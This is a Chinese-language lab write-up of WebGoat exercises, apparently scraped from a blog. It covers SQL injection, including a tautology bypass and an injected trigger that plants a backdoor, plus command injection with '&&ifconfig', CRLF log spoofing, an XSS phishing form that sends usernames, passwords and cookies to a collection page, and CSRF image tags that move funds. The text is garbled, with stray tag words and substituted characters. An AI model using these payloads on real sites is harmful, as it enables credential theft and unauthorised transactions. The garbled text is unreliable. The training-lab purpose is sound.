(1)SQL注入攻击原理,如何防护
原理:指web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。
防护:在设计程序时,应该设计成不易篡改的或者说能有主动判断合法性的代码,而且将存有敏感信息的数据库放在防火墙内部。php
(3)CSRF攻击原理,如何防护
原理:一种对网站的恶意利用,CSRF能够劫持会话和cookie来冒名进行一些操做。
防护:对web应用时进行设置,不长时间保存cookie,不访问不良网站。html
网络世界太危险,赶忙回火星。前端
java -jar webgoat-container-7.0.1-war-exec.jar
开启webgoat。localhost:8080/WebGoat
,直接点击登陆,进去。一个能够查看信用卡号的表单,当使用SQL注入(在name里输入一个永真式a or 1
)时,则可让全部的信用卡号都看得见。
java
AccessControlMatrix.help"&&ifconfig"
(仅仅加一个&&ifconfig
就行),go一下,成功!与上面的字符串注入不一样,用户名没法输入,因此在密码上花功夫。仍是利用burpsuite代理注入。在password = ' '这里进行注入or 1=1 --
这个永真式,不管什么用户名,都通通经过。
web
登陆成功!
sql
在userid中输入101 or 1=1;--
,经过。
数据库
理解题意:使用SQL语句实现:在myBackDoor表中一旦添加新用户,那么就在用户表里将新用户的邮箱改成题目固定的邮箱(暗自想:黑客“偷钱”好简单,网络安全很重要)。so,插入SQL语句就能够啦:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
成功:
浏览器
这种攻击是一种欺骗日志的方法,操做很简单:在用户名中添加smith%0d%0aLogin Succeeded
,提交就成功啦。
安全
方法操做:在/var/www/html下编辑imgsrc.php(即一个钓鱼网站)。保存以后,在输入框中注入一段前端代码:服务器
<script> function hack(){ str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie; str2="http://127.0.0.1:5320/imgsrc.php?" + str; XSSImage=new Image; XSSImage.src=str2; alert(str2); } </script> </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="submit" value="Login" onclick="hack()"><br> </form><br><br><HR>
而后将提示用户输入帐号口令从而完成钓鱼攻击!
成功获取信息,完成钓鱼攻击:
方法操做:在文本框中插入<script>alert("5222")</script>
,当点击提交时,会弹出对话框。
感受这个攻击方法没有上面那个实用,虽然如今尚未想明白它能够用来干什么,可是高端玩家应该是能够利用起来的。
<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=4000"/>
方法操做:在massage中输入命令:
<img src='attack?Screen=275&menu=900&transferFunds=5000'> <img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
成功!